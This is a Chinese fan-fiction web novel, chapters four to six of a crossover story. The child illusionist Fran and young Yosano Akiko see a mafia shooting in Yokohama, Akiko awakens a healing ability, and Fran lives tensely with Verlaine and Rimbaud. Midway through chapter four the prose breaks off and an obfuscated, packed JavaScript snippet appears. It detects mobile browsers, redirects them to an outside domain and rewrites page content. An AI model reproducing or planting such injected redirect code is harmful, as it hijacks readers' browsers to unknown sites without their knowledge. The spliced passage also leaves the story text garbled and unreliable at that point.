“今天有新熬的栗子酱。”老师傅笑着打开冷藏柜,乳白色冷气涌出来,弗兰闻到清甜的米香混着糖渍栗子的味道。 “那...请给我栗子的!”晶子立刻改口,又转头看弗兰,“你呢?草莓大福要配麦茶吗?二楼能看到港口那边哦。” 旋转楼梯的木板随着脚步吱呀作响。弗兰捧着青瓷碟,看晶子灵巧地推开雕花木窗,咸涩的海风立刻卷着冷意涌进来。远处码头矗立着钢铁骨架的起重机,像一只低头饮水的机械巨鹤。 “那个红色烟囱的邮轮是上周刚来的。”晶子用竹签指向海面,灯光在她发梢跳跃,“这里几乎能看到整个港口,平时都还好,但是最近一段时间港口的货物多了很多啊。” 弗兰咬破糯米外皮,酸甜的草莓汁浸润舌尖。他若有所思的看着窗外,冷不丁问道:“之前有没有一个金发的外国人来这买过东西?” “我想想…是有个,你和他认识吗?”晶子托着腮,栗子酱在她嘴角留下金色痕迹,“他每次买了东西都要在这坐上好一会,因为长得很帅所以印象比较深刻...诺,就是你这个位子。” 阁楼忽然暗下来。乌云掠过窗棂,海风裹着潮湿的雨意。晶子合上窗户时,弗兰注意到她手腕内侧有墨迹,像是把钢笔夹在指尖睡觉时蹭到的。 “雨下大了。”晶子从兜里摸出包金平糖,“给你,喜欢吃糖的小鬼,你好像没带伞出来吧,要等雨停了再走吗。” 惊雷打断她的话。雨点砸在瓦片上发出炒豆般的声响,楼梯传来军靴踩踏的闷响。弗兰转头时,看见黑色军装衣角扫过最后一级台阶,黄铜纽扣在昏暗中泛着冷光。 “嗯,me在这坐一会吧。” 穿军装的男人在柜台前微微躬身,雨水顺着帽檐滴落。他说话带着京都腔,修长手指划过玻璃柜:“请给我一盒红豆羊羹。” 桌上的麦茶泛起涟漪。她突然攥紧装着金平糖的布袋,布料发出细碎的摩擦声。弗兰数着男人军装袖口的金色刺绣,发现那是交叉的细十字。 “那个好像是陆军军医。”晶子压低声音,袖子扫过弗兰的手背,“我的愿望是当一名救死扶伤的医生,所以看过相关的书籍…不过军医为什么要来这边,我记得陆军医院离这挺远的…” 男人接过包装盒时,柜台上的西洋座钟突然发出齿轮卡住的声响。老师傅嘟囔着等会要拆开上油,弗兰却看见晶子在本子上快速写着什么,钢笔尖几乎要划破纸页。 雨停了。弗兰握着尚有体温的金平糖和一袋草莓大福走出店门时,听见身后传来纸张撕裂的轻响。他回头望去,晶子正把写满字的纸页揉成团,揉着脑袋出来送他。 “那么祝你能早日实现自己的愿望了,小姐姐。” 4. 航海之路(四) 横滨的清晨总是带着海风的味道。 弗兰揉着惺忪的睡眼,从被窝里爬出来时,阳光已经透过窗帘的缝隙在地板上画出一道金线。他赤着脚踩过冰凉的地板,站在窗前猛地拉开窗帘——港口城市的一天就这样毫无防备地撞进他的视野。 “啊,又是无聊的一天。”他自言自语道。 厨房里留着早餐——涂了果酱的面包和牛奶,已经凉了。那两个大人又早早出门“工作”去了。 弗兰啃着面包,眼睛盯着窗外。 横滨的街道上已经热闹起来,商贩推着车,上班族匆匆赶路。他的目光锁定在楼下水果店老板身上,一个总爱对他唠叨“小孩子不要到处乱跑”的老头。 “老爷爷的摊子今天也没什么生意啊…”弗兰咽下嘴里的面包,手指轻轻一弹。楼下,水果店老板突然惊叫一声——他面前的苹果堆里爬出几个巴掌大小长着翅膀的小天使,就像童话书里画着的那般,他们围成一圈拿出乐器开始演奏。 “又是那个小鬼!”老板气急败坏地抬头,正好对上弗兰从窗口探出的绿色脑袋,他面无表情地挥挥手,然后迅速缩回去,留下老板在楼下跳脚。 “下次再用投影仪开这种玩笑我就要告诉你的家长!” 吃完早餐,弗兰把苹果头套戴在头上。虽然前不久兰波刚送了他一顶轻巧的苹果帽子,但戴着这头套还是让弗兰更有安心感。 "今天去找晶子姐姐玩吧。"弗兰想着,把门锁好,钥匙挂在脖子上,开始了他在横滨的日常探险。 与谢野晶子,十岁,目前在「雪糖屋」甜品店工作,平时一边看店一边看医学书籍,为自己的医生梦想而奋斗。弗兰偶尔会去店里找她玩,也算是陪她放松一下。 有一次他看着店内的展示品突发奇想在草莓大福旁边凭空捏了两只兔子,随后又觉得太单调,就又做了一大片草坪,感觉草坪上好像少了点什么,于是花了一下午时间在草坪上建了一座迷你城堡。 等到他想象力有些干涸的趴在桌上休息时,扭头突然被身旁眼里直冒光的晶子吓了一跳。 “你是怎么做到的?”她当时问。 “魔法。”弗兰简短地回答,然后补充,“还有科学。” “当我是傻子吗,这怎么看都不科学吧。”女孩笑着拍了拍他的肩膀,力气大的吓人。 “那你承认me是魔法师了。” …… 走在去甜品店的路上,弗兰经过一家面包店。老板娘正在门口摆新鲜出炉的菠萝包,香气飘得满街都是。弗兰站在不远处,看着金黄色的面包,肚子不争气地叫了起来。 明明刚吃过早饭,他只能把这归结为大人做的饭太难吃以至于肚子选择性无视了早饭。至于是哪位做的,他实在不想去思考,如果杀手职业有招聘的话弗兰一定给那两人应聘厨房杀手。 “要来一个吗,小朋友?”老板娘和蔼地问。 弗兰点点头,然后又摇摇头:“没钱。” 早上出门的时候忘了带上那尊贵闪着金光的银行卡,他开始思考如果用幻术复刻出银行卡能否在取款机上取钱的可能性了。 “哎呀,这么可爱的小朋友…”老板娘弯腰拿起一个小菠萝包,“送你一个吧。” “诶…谢谢阿姨。”弗兰接过巴掌大的面包,“这个长得好像师父哦——” “既然如此,那我就给阿姨变个魔术吧。” 弗兰将手上的面包咬了咬,手腕轻轻一翻,面包突然变成了一只活蹦乱跳的青蛙,从他手里跳到了地上。老板娘尖叫一声,差点摔倒。 “不喜欢青蛙吗?”他歪歪头问道,紧接着咬了一大口,“这只是魔术啦,不用这么大惊小怪。” 老板娘脸色发白,用手抚了抚胸口:“以后还是换个动物吧,孩子。” “那好吧…”弗兰嘴里塞满面包,语气有些遗憾。 离开惊魂未定的面包店老板娘,弗兰继续向甜品店前进。转过两个街角,他看到了那个熟悉的招牌——「雪糖屋」。几个客人拎着甜品袋子迎面而来,弗兰从他们中间穿过去,直接推开了门。 “晶子——”他拖长了音叫道,声音平板得像在念课文。 收银台后面,穿着工作服的晶子正在整理笔记。听到弗兰的声音,她转过头,一天到晚板着的脸上绽开笑容:“弗兰!你又到处恶作剧了吧?” “没有。”弗兰否认得太快,反而显得可疑。 晶子叹了口气,从口袋里掏出一颗糖:“给,别惹麻烦了。” 弗兰接过糖果,剥开糖纸塞进嘴里。甜味在舌尖化开,他满足地眯起眼睛。晶子总是有糖,这是弗兰喜欢她的原因之一。 "山田爷爷呢?"弗兰问,左右张望。 “他已经回去了。”晶子把书本按顺序排好,“我今天只用上到十一点半,老板给我放了半天假。等会要不要去港口那边,你不是一直想去海边玩玩吗?” “就我们?不叫上你那几个朋友吗?”他半倚着门框,看着与谢野晶子将剩下几个大福打包好,背上装了书本的背包锁好了门。 “算了吧。”女孩把钥匙收好,将装着甜品的袋子晃了晃,“他们可受不了被你的‘魔法’吓唬。” “况且正好还剩一些可以当做午餐,要是人多了可不够分。” 他们离开甜品店,向附近的海边走去。路上,弗兰注意到街角有几个穿黑西装的男人在低声交谈,他们的领带上别着小小的金色徽章。 弗兰眯起眼睛——港口黑手党的人。魏尔伦告诉过他,看到这些人要绕道走。 “不是魔法,是幻术。”弗兰纠正刚刚的说法,“而且是他们自己胆子小,关我什么事。” 晶子狠狠地捏了捏他的苹果帽:“因为你故意吓他们啊,小坏蛋。” 弗兰试图拍开她的手:“不要捏,会把me的发型弄乱。” 女孩只是大笑着再次狠狠地揉了两下。 去海边的路大概只需要十几分钟,但他们没能到达。 刚转过一个街角,一阵骚乱声就吸引了他们的注意。前方不远处,几个黑西装男人正在砸一家小店的橱窗,店主——一个中年妇女正跪在地上哀求他们停手。 “求求你们,再宽限几天…”女人哭喊着,头发被扯得乱糟糟的,声音支离破碎。 “已经宽限两周了!”领头的黑西装一脚踢翻店门口的货架,向天空开了一枪,“再不交保护费,下次砸的就不是橱窗了!” 弗兰感觉晶子的手突然攥紧了他的,他歪过头看过去,发现十岁的女孩脸色苍白,但眼睛里燃烧着愤怒的火焰。 “我们…应该去报警。”晶子拉着弗兰躲在墙角小声说道,声音带着一丝颤抖。 弗兰没有动。他看着远处那个哭泣的女人,想起有时候魏尔伦深夜回来时身上的血腥味,想起兰波偶尔会提到但并不给他详细解释的“工作”。 如果世界上所有事找警/察就能解决的话,那一切都会变得很简单。 只可惜,这个世界比想象的要更残酷。 “弗兰,我们走吧。”晶子拉过他的手,似乎想要离开,但是她的眼睛仍死死的盯着那个方向。 就在这时,领头旁边的黑西装举起棍棒,朝女人的头挥去。 弗兰的眼睛微微睁大。时间仿佛变慢了,他能清晰地看到女人脸上惊恐的表情和身旁女孩紧缩的瞳孔,他轻轻弹了下手指。 黑西装的棍棒在半空中突然变成了一条嘶嘶作响的毒蛇,反过来缠住了他的手臂,冰凉的触感和皮肤摩擦,吐信子的舌尖几乎要贴上男人瞪大的眼睛。 男人发出惊恐的尖叫,拼命甩动手臂,手上的棍棒一下子飞了出去,直直打碎了旁边摆放着的一排罐子,里面装着的液体流淌了一地。 “吉田,你怎么了?”领头的人皱着眉困惑地问道。 “蛇!有蛇!”男人还在嘶吼,已经跌坐在地上,刚刚拿棍棒的手不自觉的颤抖着,仿佛看见了什么恐怖的东西。 弗兰嘴角微微上扬,他扯了扯晶子的衣角示意她回神,两人快速离开现场。 但没走几步就感觉到一道目光落在背上。 他回头,看见街对面站着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644042|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿和服的橘发女子,正若有所思地看着他。女子看起来二十多岁,腰间别着一把短刀,撑着一把油纸伞,眼神锐利得像能切开谎言。 他一下子僵住了,悄悄地往下拉了拉自己的头套,挡住了看过来的视线。在普通人眼里,他此刻就是个戴着奇怪头套的小孩。 女子微微歪头,嘴角勾起一抹若有若无的笑,然后转身消失在人群中。 “弗兰?”晶子担忧地叫他,“你没事吧,脸色好差。” “没事。”弗兰强迫自己呼吸,“我们快走吧。” 两人准备继续迈开步伐,身后一声枪响伴随着倒地声响起,四周终于安静了下来,空气中似乎弥漫上了铁锈味。 女孩的动作彻底的顿住了。 时间仿佛过了很久,又仿佛只过了一瞬间,小孩没什么感情的声音将她从自己的思绪中拉回。 “他们走了。” 硝烟弥漫的天空下,她站在这个一片狼藉的不知名小店门口,看着面前的一大滩血液和倒在地上大张着嘴的女人。背在肩上的包此刻被扔在地上,边缘蹭上了几道血迹。 一个小型急救包摊在边上,女孩戴上干净的橡胶手套,强迫自己保持冷静。但是看着这被子弹洞穿血肉模糊的伤口,她的胃还是会不由自主地绞紧,深深的无力感让她窒息。 正当她拿起工具剪开女人的衣服准备靠近伤口时,手突然一顿。女人的呼吸弱不可闻,闭着的眼睛微微睁开一条缝,眼神中充满了悲伤和哀求。 “刚刚已经叫了救护车,预计过来的话估计得二十分钟。”弗兰站在一旁叹了口气,“但是她肯定坚持不了那么久了。” “医生…”一个微弱的声音从她脚边传来。与谢野低头,这个女人意识可能已经开始模糊了,将穿着白外套的女孩看做了医生。 女人颤抖的手虚虚的抓住她白外套的下摆:“我不想死…求求你…” 与谢野跪在她身边,喉咙发紧。她知道自己救不了人,现有的医疗条件和她的水平根本无法处理这种伤势。但她还是机械地开始检查伤口,如果再坚持一会,至少…至少让她有一丝希望。 坚持。这个词像刀子一样刺进与谢野的心脏。她希望时间能慢一点,让女人坚持久一些,撑到救援到来;她又希望时间能快点,救护车能早点来。 与谢野的双手沾满了女人的血,她能感觉到生命正在从指尖流逝。绝望像潮水一样淹没了她。为什么?为什么要有斗争?为什么她要看着这些无辜鲜活的生命消逝而无能为力? “我救不了你…”她从喉咙撕扯出干涩的声音,哽咽着对女人说,泪水模糊了视线,“对不起…我真的…” 女人眼中的光渐渐暗淡,她的手从晶子的衣角滑落。晶子感到一阵眩晕,仿佛整个世界都在旋转。 就在这一刻,一种奇异的感觉从她心底升起,像是有什么东西在体内苏醒。 微弱的翠绿色的光芒从指尖绽放,无形的风从四周涌来,温柔的将这一块围成一圈。 光芒逐渐变得强烈,似乎有水滴打破了周围的粒子,又将一切拉回现实。 “异能力——「请君勿死」” 弗兰眯起眼,等待着光芒散去。 子弹被新生的组织缓缓推出,掉在地上发出清脆的声响。女人的呼吸逐渐平稳,脸色也恢复了红润,只是静静地躺在那,像睡着了一般。如果不是那被剪碎的衣领根本看不出她刚刚距离见死神只差一步。 与谢野难以置信地看着这一切,她低头看着自己的手,光芒已经完全消失了,但那种奇异的力量感还留在体内。 她突然意识到,这不是幻觉,而是真实发生的事——她不知怎么获得了治愈他人的能力。 “太厉害了吧,晶子姐姐。”弗兰蹲在一边啪啪啪的鼓起了掌,“想成为医生的晶子姐姐拥有了治愈系的异能啊,这也是所谓的happy ending吧。” 与谢野侧头看向这个刚刚相比平时要安静很多的小孩,凌乱的头发遮住了她的神情,只是嘴角勾起一丝苦笑:“我只是…不想看到有人在我面前死去。” 5. 航海之路(五) “这个就是异能啊,要怎么解释呢,就和人生来会呼吸一样……”青色头发的小孩咬了一口手上的草莓大福,声音被海风吹得模糊不清,“不过me觉得,每个人的异能应该和自己的思想有一定联系吧。” 咸涩的海风本该涤荡一切,却怎么也吹不散萦绕在鼻尖的那股铁锈般的血腥气。 夕阳熔化了半片天空,金红的浆液倾泻在海面上,把粼粼的波光也煮得滚烫。 海风裹挟着咸腥与微凉,吹乱了与谢野晶子额前汗湿的短发。她低着头,步子迈得又小又沉,每一步都像踩在松软的流沙里。 那双不久前还紧紧按压在一个濒死女人胸口的手,此刻却微微蜷着,悬在身体两侧,指尖不受控制地轻轻颤抖。 指缝深处,顽固地残留着几缕暗红,无论怎么用力搓揉,那颜色仿佛已渗入皮肤纹理,固执地提醒着她刚刚经历的一切。 她不敢握拳,怕那黏腻冰冷的触感再次清晰起来;也不敢松开,仿佛一旦放松,那女人艰难的喘息和皮肤下微弱到几乎断绝的脉搏跳动,又会穿透骨头钻进她的耳朵里。 “晶子姐姐,”一个稚气却异常平稳的声音在身侧响起,“你看那边。” 晶子迟钝地抬起头,视线有些模糊。 身旁人小小的个子,穿着简单的毛领袄子,细软的青色头发被海风吹得蓬松,但又被那鲜艳的苹果帽压在原处。 他伸手指向远处翻卷的白色浪花线。那里,几只海鸥正乘着上升的气流,翅膀几乎凝在橘红色的光晕里,发出悠长而孤寂的鸣叫。 “海鸥,”晶子喃喃地应了一声,声音干涩沙哑,连她自己都感到陌生。她下意识地又想低头去看自己的手。 “嗯,它们在空中飞得好高。”弗兰的声音依旧没什么起伏,却有种奇异的穿透力,轻轻拨开了晶子心头沉甸甸的阴霾。 他顿了顿,像在思考一个极其平常的问题,“那个阿姨,被你的手碰过以后,还痛吗?” 这个问题像一枚石子猝不及防地投入晶子混乱的心湖。她猛地一窒,眼前又闪过那女人被抬上担架时,虽然虚弱却不再是死灰色的脸,还有那一声几不可闻、却真真切切是活人才能发出的模糊呓语。 “应该是……不痛了。”晶子费力地挤出几个字,喉咙发紧,她的目光再次不受控地落回自己手上,白皙干净的手在夕照下呈现出一种诡异的暗红光泽,好像凝固的血块,刺得她眼眶发酸。 “我的手…好多血,都是她的血……”她猛地吸了一口气,声音里带上了无法抑制的哭腔和恐惧,“差一点,差一点她就——” 海风突然大了起来,带着更浓重的凉意,吹得晶子的头发凌乱不堪。她控制不住地打了个寒颤,仿佛那血痕的冰冷已经渗进了骨头缝里。 就在这时,一只温热的小手轻轻覆盖在她冰凉颤抖的手背上。 “可是她还活着吧。” 晶子身体一僵,随后又放松了下来。 弗兰的手带着孩童特有的柔软和温热的生命力,他仰起脸,浅色的瞳孔在斜阳下显得格外清透,像两块浸润在海水里的宝石,里面映着晶子苍白而惊惶的脸。 “救人,本来就是一件正确的事情。”弗兰的声音清晰而平静,像叙述一个简单的自然现象。 “那你还在迷茫什么呢?” 晶子茫然地低头,看着自己被他小手握住的手。那温热的触感如此真实,像一个小小的暖炉,正一点点驱散她指尖的冰冷和心底的恐惧。 她第一次没有立刻被那刺目的血污所击溃,而是真切地感受到了弗兰手心传递过来的、属于活生生的生命的暖意。 “如果以后感到失落和迷茫就来海边吧。”弗兰松开了手,指向他们脚下被潮水反复冲刷的沙滩。一波海浪涌上来,温柔地漫过晶子沾着血污的鞋子边缘,又悄然退去,在湿润的沙地上留下无数细小的漩涡和一道道平滑的水痕。 “大海能带走一切,”他弯下腰,在刚刚被海水洗刷过的湿沙里摸索了一下,随即直起身,摊开手掌。一枚小小的、边缘带着柔和波纹的白色贝壳躺在他掌心,在夕阳下泛着温润的光泽,“也会带来贝壳。” 晶子怔怔地看着那枚小小的贝壳。它那么干净,那么安静,躺在弗兰小小的掌心里,仿佛来自一个与血污、死亡和尖叫完全隔绝的世界。 “异能,”弗兰的声音很轻,却异常清晰地传入晶子耳中,带着一种超越年龄的通透,“就像海浪。它只是在那里。是卷走沙堡,还是带来贝壳……”他停顿了一下,那双浅色瞳孔静静地看着晶子,“要看你如何使用。一把锋利无匹的手术刀,落在疯子手里是凶器,握在医者手中,就是救赎。” “选择权在于你。” 海浪不知疲倦地拍打着礁石,发出永恒的、有节奏的轰鸣。那声音不再是单调的噪音,它宏大而包容,如同大地沉稳的心跳,一下,又一下,沉稳地敲击着晶子的耳膜,也轻轻叩击着她被恐惧和混乱堵塞的心房。 她慢慢抬起头,目光越过眼前翻卷着白色泡沫的浪花,投向更远的地方。 海平线在熔金般的落日余晖中微微起伏,模糊而壮阔。天边,燃烧的云霞正一点点沉入深蓝的海水之下,而更远处的海面,已经率先被暮色浸染,呈现出一种静谧的深靛蓝色。 只有遥远的海岬尽头,一点微弱的航标灯光刺破浓稠的黑暗,孤独而执着地亮着,像一颗被遗忘在深渊边缘的星子。 海风更加猛烈地吹拂起来,带着入夜前的凉意,将她额前倔强的短发呼啦啦地向后吹去,露出光洁的额头和那双此刻显得格外幽深明亮的眼睛。 “弗兰,”晶子的声音响起,不再颤抖,不再干涩。它被海风打磨过,带着一种奇特的清晰和某种下定决心的力度,穿透了涛声的屏障。 弗兰侧过头看她。 晶子依旧望着那片辽阔的、正被暮色温柔吞噬的海。她的脊背挺得笔直,海风勾勒出她略显单薄却异常倔强的轮廓。 “我以后,”她的声音不高,却字字清晰,如同誓言投入大海的怀抱,“想要拯救所有人!” 话音落下,仿佛有什么看不见的重担,随着这宣言,被海风从她稚嫩的肩膀上倏然吹落。那被吹向脑后的短发,在风里划出更加锐利而坚定的线条。 弗兰的眼眸微微动了一下,他的嘴唇几不可察地抿了抿,似乎想说些什么,随后只是重新转回头,和晶子一起,沉默地望向那片正被暮色彻底覆盖的、广袤而未知的大海。 「那会是一条很长的路,希望你能坚持向着自己选择的方向一直走下去。」 …… 弗兰踮起脚尖,钥匙在锁孔里转动时,发出格外清晰的“咔哒”声,清脆得甚至有些刺耳,仿佛打破了某种沉重凝固的东西。 门开了,屋里光线柔和,却莫名有种幽深隧洞的错觉。 “我回来了。”他的声音不大,在过分的安静里却像投入深潭的石子,只激起一圈微弱的涟漪,便迅速沉没了下去。 厨房那边传来一点轻微的响动,是兰波。他正从冰箱里拿出晚餐的材料,动作依然带着那种惯常的、令人安心的沉稳韵律。哪怕在室内依然戴着那红色的围巾,或许对他而言这个冬天格外的冷。 他侧过脸,嘴角弯起一个温和的弧度:“欢迎回来,弗兰。” 笑容熨帖,声音也柔和得恰到好处,如同精心调制的温水。 然而,弗兰那双湖水般清澈的蓝眼睛,却敏锐地捕捉到了一丝异样——桌上放着的红茶已经失去了温度,因为长时间的放置表面上浮现一层茶膜。伴随着关门的声音,茶杯里的液体微微晃动,打破了一丝平静。 客厅另一头,魏尔伦的身影陷在宽大的单人沙发里,背对着门的方向。他似乎在专注地翻阅着一本厚重的硬皮书,姿态依旧优雅,编成小辫子的金发在灯光下流淌着金属般的光泽。 弗兰换好拖鞋,嗒嗒地走过光洁的木地板,若无其事的绕到沙发正面。他抬起头,目光扫过魏尔伦的脸,然后不经意地落在他衬衫的领口——那里本该扣得严丝合缝的第一颗纽扣,此刻却赫然敞开着,露出下方一小段突兀的空白。那点缺失,像一个无声的破绽,暴露在空气里。 空气仿佛被看不见的丝线绷紧了。 兰波在水槽前冲洗蔬菜,水流哗哗作响,半天却都没听到溧水的声音。而面前的人翻动书页的时间异常平稳,平稳得近乎刻意。 弗兰站在客厅中央,小小的身体像一枚精确的探针,清晰地接收着四周无声传递的压抑频率。 他安静地走回自己的房间,轻轻关上门,把外面那片沉甸甸的、令人窒息的寂静暂时隔绝开来。然而,那看不见的张力,如同无形的烟雾,早已从门缝底下悄然渗入。 晚餐的餐桌上,吊灯的光芒洒满一桌卖相极佳的菜肴。盘子边缘反射着清冷的光,杯盏整齐,碗筷摆放得一丝不苟,却透着一股精心维护的、冰冷的仪式感。 “今天的蔬菜浓汤味道不错,”兰波将盛着汤的瓷碗推到弗兰面前,声音平稳温和,如同在念一段准备好的台词,“弗兰多喝一点。” “嗯。”弗兰拿起勺子,小口啜饮着。他的眼神已经放空了,机械式的做出舀汤然后喂到嘴里的动作。 都说事出反常必有妖,今天兰波居然做了这么一桌菜,更像是行刑前的断头菜。 更重要的是,这两人自弗兰回来已经有一小时三十八分二十七秒没有对话过了。 桌子对面的魏尔伦正沉默地切割着盘中的牛排。银质餐刀划过瓷盘,发出细微而单调的“嚓嚓”声。他动作流畅,姿态无可挑剔,仿佛沉浸在用餐的礼仪中,对周遭的一切毫不在意。 沉默在餐桌上蔓延,只有餐具偶尔碰撞的轻响。 弗兰低着头,专注地看着汤碗里漂浮的白菜叶,感觉那沉默像水银,沉甸甸地灌满了整个餐厅,压得人透不过气。他努力咀嚼着食物,试图加快吃饭速度,好想赶紧吃完回房间。 夜幕终于彻底拉下,浓重的墨色泼满了天空。 窗外的城市灯火次第亮起,像撒落一地的碎钻,闪烁着遥远而隔膜的光。然而弗兰躺在自己柔软的小床上,睁着眼睛盯着天花板,似乎要将楼上看穿。 外面客厅里,那刻 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阳台的角落,一个颀长的身影静静地倚着冰冷的铁艺栏杆,几乎与深沉的夜色融为一体。月光吝啬地洒下几缕清辉,落在那人耀眼的金发上,流淌着一种近乎液态的、冰冷的银光。 “魏尔伦。”弗兰的声音很轻,语气依然是波澜不惊的。 身影微微动了一下。 魏尔伦缓缓侧过头,月光照亮了他半边俊美的侧脸。那双深邃的蓝色眼眸,平日里如同晴空下的地中海,此刻却像是暴风雨来临前酝酿着雷霆的暗海,翻涌着难以言喻的沉重与疲惫。 他沉默地看了弗兰几秒,那目光复杂得像交织的丝线,最终,他什么也没说,只是又将视线投向远处灯火迷离的城市轮廓,仿佛要从中寻找一个答案,或者一个出口。 弗兰犹豫了一下,还是慢慢地挪了过去,站在他身边。 晚上他没有戴着那顶在旁人看来略显滑稽的帽子,因此头发被夜风吹得凌乱不堪,像一个散开的青色蒲公英。阳台角落的盆栽在夜风中轻轻摇曳,叶片摩擦发出细碎的沙沙声。 沉默在两人之间弥漫,却奇异地并不尴尬,反而带着一种微妙的、同频的沉重感,如同深海的水压,无声地挤压着四周的空气。 “你也睡不着吗?”弗兰扶着对他而言略高的栏杆,声音在夜风里显得有些单薄。 魏尔伦没有立刻回答,他依旧望着远处,喉结似乎极其轻微地滚动了一下,仿佛咽下了某种苦涩的滋味。良久,一声极轻、极疲惫的叹息,几乎被夜风吹散:“…有些声音,在夜里会特别吵。” 弗兰平静的“嗯”了一声,青色的眸子一瞬不瞬地望着远处的城市夜景,余光却瞥着身旁人月光下半明半暗的轮廓,等待着他未曾明言的下文。 夜风似乎在这一刻也变得凝滞。 魏尔伦的目光终于从虚无的远方收回,缓缓垂落,最终落在了身旁小小的孩子身上。那眼神里沉淀的疲惫和某种深不见底的孤寂,让弗兰感到一种莫名的、微小的刺痛,仿佛指尖被无形的冰凌轻轻扎了一下。 “弗兰,”他的声音低沉下来,带着一种前所未有的沙哑,像是被粗粝的砂纸打磨过,每个音节都透着沉重的质感,“你感觉到过吗?那种…与生俱来的不同?”他顿了顿,眼神有些飘忽,似乎在寻找着更贴切的词语,又或者是在积攒着揭开某个伤疤的勇气,“就像身体里…寄居着一个无法掌控的怪物。一个…被神诅咒的造物。” “有哦。”身旁人话音刚落,小孩稚嫩的声音就回答了他。 “就像me有时候睡觉会遇到奇怪的凤梨妖怪一样,明明白天已经很累了,晚上还要被妖怪用三叉戟揍,me的精神也是很脆弱的啊。” 但是男人此刻好像并没有在意他的回答,他再次将目光投向弗兰,这一次,那深海般的眼眸里,翻涌的暗流似乎奇异地平息了一瞬,沉淀下一种前所未有的、近乎温存的疲惫。 “那么如果你的过去很不幸,而此刻你发现一个孩子即将走上你的老路,你会选择怎么做呢?” “世界上会生出两朵一样的花吗?”弗兰反问回去,“菠萝和凤梨再怎么像也不一样啊,你为什么会认为别人走的路和你走过的一样呢?” 刚刚还沉重的氛围一下子被打破了,魏尔伦无语的看了一眼在冷风中被冻得微微发抖脸上却面无表情的小孩,无声的叹了口气。带着一丝凉意的手指,轻轻落在弗兰柔软的发顶,只停留了短暂得如同错觉的一瞬。 “去睡吧,弗兰。”他的声音恢复了平日的低沉优雅,却仿佛被抽走了所有温度,只剩下一种空洞的平静,像一具华美的空壳,“夜还很长。” 那只手随即移开,重新落回冰冷的栏杆上。他再次转过身去,只留下一个被月光勾勒得无比清晰、却又无比孤绝的背影,重新面对那片灯火辉煌、却又与他格格不入的冰冷城市。仿佛刚才那片刻的流露、那短暂的触碰,从未发生过。 “如果非要做一个选择出来的话,不如让别人自己选择呢?” 玻璃门在他身后轻轻合拢,隔绝了声音,隔绝了夜风,也隔绝了阳台上那个沉重而孤独的世界。 6. 航海之路(六) 客厅里一片漆黑,只有角落落地灯散发着极其微弱、仅能勉强勾勒轮廓的光晕。 弗兰赤着脚踩在柔软的地毯上,正要踮着脚尖溜回自己的小房间。就在经过客厅的拐角处时,他脚步下意识地停顿了。 “都听到了?” 倚着墙的男人默地站在那里,一动不动,如同夜色本身凝固而成的一座雕像。那背影挺直,却透着一股难以言喻的疲惫。 他站在那里,无声地守望着,守望着阳台的方向,守望着那个被啃噬灵魂的身影,也守望着这片摇摇欲坠的、他们三人共同构筑的、脆弱的宁静。 “其实me建议你们可以多沟通一下,毕竟是你的话他多少还是能听进去的。” “如果沟通有用的话我也不至于这么苦恼了。”他叹了口气,“不过现在最主要的是完成任务吧。” “喂,弗兰。” 弗兰慢吞吞地抬起眼皮,看向那个正在擦拭杯子的身影。 “管好你的猫,”晶子下巴朝玻璃柜方向抬了抬,“不要让它靠近我的甜品。” 弗兰面无表情地举起手,他慢吞吞地开口,声音平板得像条晒干的咸鱼:“晶子,都说了这不是我的猫。”他顿了顿,补充道,“老师可能是一只从家里跑出来的猫。这可是三花猫,公的。” “你都给它取了名字,那就要负责啊。话说为什么要给一只猫取名叫老师啊,不觉得很奇怪吗?”晶子擦杯子的动作顿了一下,细长的眉毛危险地扬起一个微小的弧度,正要发作—— “喵呜。” 一声慵懒的、带着点奇异韵律的猫叫,毫无预兆地插了进来,像根柔软的羽毛,瞬间拂开了空气中绷紧的弦。 弗兰循声望去。 就在他刚才觊觎良久的那块草莓奶油蛋糕的玻璃柜上面,三花猫在那打了个哈欠蹲坐着。它体型匀称,毛色是橘、黑、白三色交织的奇妙拼图,既不凌乱,反而有种精心设计过的和谐。 此刻,这双金色的眸子正饶有兴味地、带着一丝居高临下的审视,打量着柜台前这颗青绿的小脑袋。 “老师——”他慢吞吞地伸出手,目标明确地指向三花猫搭在冰凉柜台上的、粉嫩柔软的前爪肉垫。 指尖精准地戳了一下那软乎乎的肉球,语气平板无波,如同在陈述一个显而易见的事实,“快点下来啦,等会晶子生气了挨揍的就是我们俩了。” 晶子看着这一人一猫无声对峙的诡异场面,眉头蹙得更紧。 她甩了甩手上的抹布,语气带着她这个年龄少有的严厉。 “流浪猫可能没打疫苗,你别被抓伤了。”她转向三花猫,尽管不确定它是否能听懂,“还有你!别想偷吃我的蛋糕!” “流浪猫?”弗兰的视线终于从三花猫的肉垫上移开,瞥向晶子,语气毫无波澜,“晶子,流浪猫可不会这么干净啊,你的眼神似乎比老师还差诶。” “你!”晶子被噎得一滞,脸颊微微鼓起。她瞪着弗兰,又看看那只仿佛在无声赞同般轻轻甩了下尾巴的三花猫,突然感到一种深深的无力。 她用力呼出一口气,像是要把胸口的憋闷吐出去,转身走向冰柜,哗啦一声拉开厚重的柜门,冷气白雾般涌出。随后拿出一个香草冰淇淋球,没好气地“咚”一声放在弗兰面前的柜台上。 “吃你的,少废话。”她硬邦邦地说。 弗兰慢条斯理地拿起小木勺,没有立刻开动,而是先挖了一小勺,递到三花猫的鼻子前。三花猫矜持地嗅了嗅,金色的眼瞳里流露出明显的不屑,撇开了头。 弗兰也不在意,收回勺子,塞进自己嘴里,冰凉的甜腻在舌尖化开。 “它说太甜了,”弗兰含着勺子,声音有点含糊,“居然不喜欢吗,老师的品味也没有那么好嘛。话说现在是吃冰淇淋的季节吗?” 晶子已经懒得反驳了。 她靠在柜台内侧,看着窗外萧瑟的街道,眼神有些放空。店里只剩下弗兰小口小口挖冰淇淋的细微声响,以及三花猫偶尔舔舐爪子的沙沙声。午后的时光被带着暖意的空气拉得无比漫长。 弗兰专注地用木勺在开始融化的冰淇淋球上戳洞,试图把它变成一颗布满环形山的白色星球。 